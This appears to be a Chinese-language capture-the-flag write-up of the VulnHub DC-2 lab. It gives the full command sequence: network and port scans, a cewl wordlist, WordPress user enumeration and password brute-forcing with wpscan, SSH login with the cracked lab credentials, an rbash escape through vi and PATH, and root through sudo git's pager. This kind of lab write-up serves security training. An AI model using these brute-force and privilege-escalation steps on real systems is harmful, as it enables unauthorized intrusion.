DC-2
靶机介绍
名称:DC-2
发布日期:2019 年 3 月 22 日
难度:初级
下载地址:https://download.vulnhub.com/dc/DC-2.zip
环境搭建
下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版
kali攻击机:192.168.98.136
靶机渗透
信息收集
扫描主机
netdiscover -i eth0(自己网卡的名称,有的外接网卡为wlan0) -r 192.168.1.40(自己虚拟机的IP)/24
netdiscover -i eth0 -r 192.168.98.136/24
由于我只上线了一台靶机,所以该靶机的ip为 192.168.98.140
扫描端口
masscan --rate=100000 -p 0-65535 192.168.98.140
扫到一个80
端口和7744
端口,目前还不知道7744端口是干嘛的,再用nmap详细扫描一下22和80端口:
nmap -T4 -sV -O -p 22,80 192.168.98.140
nmap -A 192.168.98.140
扫描出80端口有个网站,使用的wordpress框架
访问192.168.98.140发现访问不了,这里需要改下本地的dns
# linux:
vim /etc/hosts
# windows:
C:\Windows\System32\drivers\etc\hosts
访问界面如下:
web应用指纹信息
whatweb http://192.168.98.140
wordPress 4.7.10版本
扫描目录
dirb http://192.168.98.140 /usr/share/dirb/wordlists/big.txt
有用的目录:
# 登录页面
http://192.168.98.140/wp-admin/
漏洞挖掘
flag1
这了有个flag,点击查看如下:
意思是:你通常的单词表可能不起作用,所以,也许你只需要保持冷静。更多的密码总是更好的,但有时你无法赢得所有密码。以一个身份登录以查看下一个标志。如果找不到,请以其他身份登录。
简单来说就是爆破行不通了
cewl 和 wpscan
捕捉关键词:cewl
cewl
是通过爬行网站获取关键信息创建一个密码字典dict.txt,如下;
cewl http://dc-2/index.php/flag/ -w dict.txt
发现主题是wordpress,那就扫描一下用户吧,提示密码了,因该是让登录
使用wpscan
工具:
WPScan
是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
枚举一下用户,枚举出admin,jerry,tom
:
wpscan --url http://dc-2 --enumerate u
爆破一下用户名和密码:
# 创建一个users.txt文件,将用户名admin,jerry,tom存入
touch users.txt
用刚刚抓取的密码字典dict.txt
和用户字典进行爆破,
wpscan --url http://dc-2/ -U users.txt -P dict.txt
成功爆破出2个账户,但是没有admin:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
flag2
在登录tom账号后没有发现有价值的东西,后又在登录jerry账号,在page页上发现了flag2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
意思是无法利用这个wordpress,只能另想办法了,
之前nmap扫描出了7744端口,那么我们是不是可以尝试ssh登录
ssh登录
发现使用tom账号登录成功
ssh tom@192.168.98.140 -p 7744
parturient
flag3 (rbash逃逸)
登录之后,发现目录下面有个flag3
读取flag3的时候报错:-rbash: cat: command not found
这个错误信息表明你正在尝试在一个受限的bash shell环境中执行 cat
命令,但是这个环境没有提供 cat
命令。-rbash
是一个受限的bash shell,它限制了用户可以使用的命令集。
可以看这篇文章来了解一下: Restricted Shell https://cloud.tencent.com/developer/article/1680551
先尝试"/"能不能用
cp命令
FTP,GDB,main,git没有,发现vi可以用,那就试试把:
vi test
set shell=/bin/sh #在vi末行模式中输入
shell #在vi末行模式中输入
更改PATH或SHELL环境变量
# 查看
export -p
修改path
export PATH="/usr/sbin:/usr/bin:/rbin:/bin"
打开flag3.txt发现,提示要切换用户到jerry
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
这个翻译,绷不住了
flag4
切换到jerry用户:
su jerry
adipiscing
在/home/jerry
目录下找到了flag4.txt
没有提示,只能靠自己找到最后的flag!
没招,查查攻略
等会!翻译错了一句话:Go on - git outta here!!!!
这句话提示的是 :git提权?!。。。
注意有时候注意英文,有时候直译会出问题的。。。
git提权
sudo git help config
前提是执行sudo -l
提示不需要密码可以使用git命令:
下面将提示两种方法
(我们需要将shell的窗口变窄,使得回显信息不能一页显示)
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !'sh' #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
回车之后,成功提权:
最后的flag
寻找flag:
find / -name *flag*
拿下flag:
总结
- 考察 cewl 和 wpscan 工具的知识点,明白针对wordpress的漏洞利用
- rbash逃逸
- git提权
- 注意最好自己翻译英文,有时候机翻会出错的。